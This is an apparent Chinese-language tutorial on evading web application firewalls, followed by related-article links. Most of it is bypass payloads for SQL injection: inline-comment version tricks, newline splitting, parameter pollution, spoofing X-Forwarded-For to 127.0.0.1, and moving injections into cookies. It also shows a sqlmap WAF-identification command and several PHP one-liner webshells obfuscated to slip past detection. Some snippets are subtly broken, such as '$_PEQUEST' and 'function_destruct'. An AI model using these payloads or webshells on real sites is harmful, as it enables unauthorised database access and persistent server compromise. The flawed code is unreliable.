WAF:有硬件和软件类型。
常见的软WAF,常见:安全狗、云锁、云盾、护卫神。
SQL注入的绕过:
 WAF核心机制就是正则匹配。
通过正则匹配,如果符合规则,就拦截。
比如sql注入中and 1=1被拦截。
可尝试大小写绕过:And 1=1
编码绕过:  因为WAF 获取数据后不会解码。如&=>%26
通过不同进制绕过:例如16进制的0x32相当于十进制的2。
铭记:安全和用户体验都是需要平衡的,特别是针对WAF而言。
 
WAF判断的几种方法:
1.SQLmap
使用SQLmap中自带的WAF识别模块可以识别出WAF的种类,但是如果所安装的WAF没有明显特征,SQLmap就只能识别出类型是Generic
在SQLmap中输入一下命令:
sqlmap.py -u "http://xxx.com"  --identify-waf  --batch
一般情况下就可以被扫描出waf的种类。
2.手工判断
这个也比较简单,直接在相应网站的url上后面加上最基础的测试语句,比如union select 1,2,3%23,并且放在一个不存在的参数名中,若触发了WAF的防护,所以网站存在WAF.
 
内联注释:是MYSQL为了保持与其他数据兼容,将MYSQL中特有的语句放在/!…*/中,这些语句在不兼容的数据库中不执行,而在MYSQL自身却能识别、执行。
/*!50001*/表示数据库版本>=5.00.01中间的语句才能执行。
/**/在数据库里是注释的意思。而/*!*/是内联注释(核心在于注释里的也可执行,目的在于适应不同版本)。可对数据库版本的注释进行暴力破解,绕过狗。比如/*!10044select*/可绕过。
 
常见绕过手法:
大小写绕过(很老的WAF才有用)
替换绕过(很老的WAF才有用)比如将union select 1,2,3,4,5替换成ununionion selselectect 1,2,3,4,5
特殊字符绕过(%0a换行)例如传参?id=1 union /*!10044select*/ 1,2,3 %23/*%0afrom admin%23*/  换行之后被执行。
编码绕过(比如会多次解码的东西,例如我们DOM XSS绕狗那个)
等价替换(利用其它函数替代)【union #%0aselect 拦截】[inion all #%select 不拦截]
容器特性(例如Apace的Hpp,或者IIS的%分割)IIS的分割传参里面s%e%l%e%c%t相当于select。Apache特性参数污染:?id=1/*&id=2 union select 1,password,3 from admin limit 1,1#*/(参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果)
白名单(管理员权限或者是127.0.0.1本地访问不拦截(抓包修改XFF成本地IP))
缓冲区(数据太多了,超出了WAF检测的范围)可在攻击语句中用注释填入大量无用字符,但要用POST传参。
有些函数加上反引号也是可以运行的。比如sleep(),updatexml()
生僻函数绕过(使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数代替常用的updatexml()函数
寻找网站源站IP(对于具有云waf防护的网站而言,只要找到网站的IP地址,然后通过IP访问网站,就可以绕过云waf的检测)
注入参数到cookies中(默写程序员在代码中使用$_REQUEST获取函数,它会依次从GET/POST/COOKIE中获取参数,如果WAF只检测了GET/POST而木有检测cookie,可以将注入语句放入cookie中绕过)
 
webshell的绕过:
我们常见的PHP一句话木马就是:<?php eval($_REQUEST['a'])?>这个是密码是a的一句话木马。这个语句肯定是会被拦截的。
绕过拦截:1.<?php eval(end($_PEQUEST));?>
end(): 输出数组中的当前元素和最后一个元素的值.($_所获取到的东西都是数组)
2.通过常量定义:<?php define("a","$_REQUEST[a]");eval(a);?>
3.通过字符串定义:
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST[1]);
?>
4.通过函数定义强行分割:
<?php
function a($a){
return $a;}
eval(a($_REQUEST)[1]);
?>
5.通过类定义,然后传参强行执行分割
<?php
class User
{
public $name='  ';
function_destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=".$_POST['dd'];
?>

绕过waf的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. 黑客是怎样绕过WAF之三重防护绕过讲解

    什么是WAF Web Application Firewall 通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击. 目前主要有单设备WAF与云WAF WAF的现状 1.太多数W ...

  5. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  6. 使用sqlmap中tamper脚本绕过waf

    使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap- ...

  7. 通过HTTP参数污染绕过WAF拦截 (转)

    上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ...

  8. sqlmap注入之tamper绕过WAF脚本列表

    本文作者:i春秋作者——玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrop ...

  9. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  10. 用最短的payload绕过WAF(入门)

    本文作者:jishuzhain <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过.</font ...

随机推荐

  1. VS2019 还原Resharper菜单位置

    方法: 第一步: Tools -> Customize -> Extensions Menu tab, uncheck Resharper 工具->自定义->扩展菜单-> ...

  2. 【TCP/IP网络编程】:06基于UDP的服务器端/客户端

    本篇文章简单描述了UDP传输协议的工作原理及特点. 理解UDP UDP和TCP一样同属于TCP/IP协议栈的第二层,即传输层. UDP套接字的特点 UDP的工作方式类似于传统的信件邮寄过程.寄信前应先 ...

  3. 中山纪中Day1--普及

    早上一起,扑面是瓢泼的大雨.跨过千山万水,来到纪中门前,毅然以一种大无畏的英雄气概跨进了考场. 面对四道神题.然后,我成功过五关斩六将,A掉了2道题!!! 收获:优先队列(大.小根堆) T1:APPL ...

  4. 5_2 木块问题(UVa101)<vector的使用>

    [背景] 在计算机科学中的很多地方都会使用简单,抽象的方法来做分析和实验验究.比如在早期的规划学和机器人学的人工智能研究就利用一个积木世界,让机械臂执行操作积木的任务. 在这个问题中,你将在确定的规则 ...

  5. spark实验(三)--Spark和Hadoop的安装(1)

    一.实验目的 (1)掌握在 Linux 虚拟机中安装 Hadoop 和 Spark 的方法: (2)熟悉 HDFS 的基本使用方法: (3)掌握使用 Spark 访问本地文件和 HDFS 文件的方法. ...

  6. PTA的Python练习题(十四)

    第4章-10 最大公约数和最小公倍数 m,n=map(int,input().split()) min=0 a=b=0 if m >n: min=m else: min=n for i in r ...

  7. Servlet的基本使用

    1.pom.xml导入包 <dependency> <groupId>javax.servlet</groupId> <artifactId>javax ...

  8. 20 JavaScript随机&逻辑&比较&类型转换

    JavaScript 随机 Math.random(): 返回0~1之间的随机数,包括0不包括1 Math.floor():下舍入.Math.floor(2.9) = 2.Math.floor(Mat ...

  9. Python学习第二十六课——PyMySql(python 链接数据库)

    Python 链接数据库: 需要先安装pymysql 包 可以设置中安装,也可以pip install pymysql 安装 加载驱动: import pymysql # 需要先安装pymysql 包 ...

  10. LinkList(链表)

    code: #include <stdio.h> #include <time.h> #include <conio.h> #include <stdlib. ...